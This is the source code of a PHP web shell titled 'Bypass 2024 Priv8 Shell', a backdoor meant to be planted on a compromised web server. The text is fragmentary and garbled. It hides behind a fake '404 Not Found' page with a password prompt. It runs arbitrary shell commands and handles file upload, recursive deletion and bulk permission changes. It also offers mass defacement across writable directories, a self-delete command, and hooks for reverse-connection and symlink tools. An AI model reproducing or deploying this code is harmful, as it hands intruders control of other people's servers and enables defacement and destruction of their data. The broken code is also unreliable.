alert("Password Wrong!, Try Again.");';
}
}
if (isset($_GET['logout'])) {
session_unset();
session_destroy();
header("Location: ".$_SERVER['PHP_SELF']);
exit();
}
if (!isset($_SESSION['forbidden'])) {
?>
404 Not Found
404 Not Found
Bypass 2024 Priv8 Shell
".$disfunc." ";
}
function author() {
echo "Writeable ";
} else {
return "Writeable ";
}
}
function cekroot() {
if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
return "Writeable ";
} else {
return "Writeable ";
}
}
function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
xrmdir($path);
} else {
unlink($path);
}
}
rmdir($dir);
}
function statusnya($file){
$statusnya = fileperms($file);
if (($statusnya & 0xC000) == 0xC000) {
// Socket
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
// Symbolic Link
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
// Regular
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
// Block special
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
// Directory
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
// Character special
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
// FIFO pipe
$ingfo = 'p';
} else {
// Unknown
$ingfo = 'u';
}
// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));
// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));
// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));
return $ingfo;
}
function green($text) {
echo "".$text." ".$text." / ';
continue;
}
if($lok == '') continue;
echo ''.$lok.' /';
}
echo '';
echo ' ".$lokasi."/".$_FILES['berkas']['name']." Failed to Upload !".$lokasi."/".$_POST['namalink']." Failed to Upload ! ";
echo "Upload File : ";
echo '
';
echo "
";
print "";
print "";
print " ";
print "";
tools("cmd");
function tools($toolsname, $args = null) {
if($toolsname === "cmd") {
print "";
print " ";
}
}
function changeFolderPermissionsRecursive($dir, $perms) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if ($item->isDir()) {
chmod($item->getPathname(), $perms);
}
}
}
function changeFilePermissionsRecursive($dir, $perms) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if ($item->isFile()) {
chmod($item->getPathname(), $perms);
}
}
}
$currentDirectory = '.';
if (isset($_GET['do']) && $_GET['do'] === 'root_file') {
$newFilePermissions = 0644;
changeFilePermissionsRecursive($currentDirectory, $newFilePermissions);
echo "";
echo "Message : Sukses Green All Files
";
echo " ";
}
if (isset($_GET['do']) && $_GET['do'] === 'dark_file') {
$newFilePermissions = 0444;
changeFilePermissionsRecursive($currentDirectory, $newFilePermissions);
echo "";
echo "Message : Sukses Lock All Files
";
echo " ";
}
if (isset($_GET['do']) && $_GET['do'] === 'dark_folders') {
$newFolderPermissions = 0555;
changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions);
echo "";
echo "Message : Sukses Lock All Folders
";
echo " ";
}
if (isset($_GET['do']) && $_GET['do'] === 'root_folders') {
$newFolderPermissions = 0755;
changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions);
echo "";
echo "Message : Sukses Green All Folders
";
echo " ";
}
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function path() {
if(isset($_GET['dir'])) {
$dir = str_replace("\\", "/", $_GET['dir']);
@chdir($dir);
} else {
$dir = str_replace("\\", "/", getcwd());
}
return $dir;
}
function usergroup() {
if(!function_exists('posix_getegid')) {
$user['name'] = @get_current_user();
$user['uid'] = @getmyuid();
$user['gid'] = @getmygid();
$user['group'] = "?";
} else {
$user['uid'] = @posix_getpwuid(posix_geteuid());
$user['gid'] = @posix_getgrgid(posix_getegid());
$user['name'] = $user['uid']['name'];
$user['uid'] = $user['uid']['uid'];
$user['group'] = $user['gid']['name'];
$user['gid'] = $user['gid']['gid'];
}
return (object) $user;
}
if(isset($_GET['do'])) {
if($_GET['do'] === "cmd") {
if(isset($_POST['cmd'])) {
if(preg_match("/^rf (.*)$/", $_POST['cmd'], $match)) {
tools("readfile", $match[1]);
}
elseif(preg_match("/^spawn (.*)$/", $_POST['cmd'], $match)) {
tools("spawn", $match[1]);
}
elseif(preg_match("/^symlink\s?(.*)$/", $_POST['cmd'], $match)) {
tools("symlink", $match[1]);
}
elseif(preg_match("/^rvr (.*)$/", $_POST['cmd'], $match)) {
tools("network", $match[1]);
}
elseif(preg_match("/^krdp$/", $_POST['cmd'])) {
tools("krdp");
}
elseif(preg_match("/^logout$/", $_POST['cmd'])) {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
print "";
}
elseif(preg_match("/^killme$/", $_POST['cmd'])) {
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
@unlink(__FILE__);
print "";
}
else {
print "".exe($_POST['cmd'])." ";
}
}
else {
files_and_folder();
}
}
}
function massdeface($dir, $file, $filename, $type = null) {
$scandir = scandir($dir);
foreach($scandir as $dir_) {
$path = "$dir/$dir_";
$location = "$path/$filename";
if($dir_ === "." || $dir_ === "..") {
file_put_contents($location, $file);
}
else {
if(is_dir($path) AND is_writable($path)) {
print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."Current File : ".$_GET['fileloc'];
echo ' ".htmlspecialchars(file_get_contents($_GET['fileloc']))." ";
author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete Directory !");
} else {
green("Delete Directory Success !");
echo "string";
}
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to Delete File !");
} else {
green("Delete File Success !");
}
}
elseif($_GET['do'] === "mass") {
if($_POST['start']) {
if($_POST['mass_type'] === 'singledir') {
print "";
massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']);
print "
";
}
elseif($_POST['mass_type'] === 'alldir') {
print "";
massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir");
print "
";
}
elseif($_POST['mass_type'] === "delete") {
print "";
massdelete($_POST['d_dir'], $_POST['d_file']);
print "
";
}
}
else {
print "".$_POST['path']."".$_POST['path']."".$_POST['path']."
Name Size Permissions Options ';
foreach($lokasinya as $dir){
if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
echo "
".$dir." -- ";
if(is_writable($lokasi."/".$dir)) echo '';
elseif(!is_readable($lokasi."/".$dir)) echo '';
echo statusnya($lokasi."/".$dir);
if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ' ';
echo " ";
}
echo '
$file ".$size." ";
if(is_writable("$lokasi/$file")) echo '';
elseif(!is_readable("$lokasi/$file")) echo '';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ' ';
echo "
";
}
echo '
';
author();
?>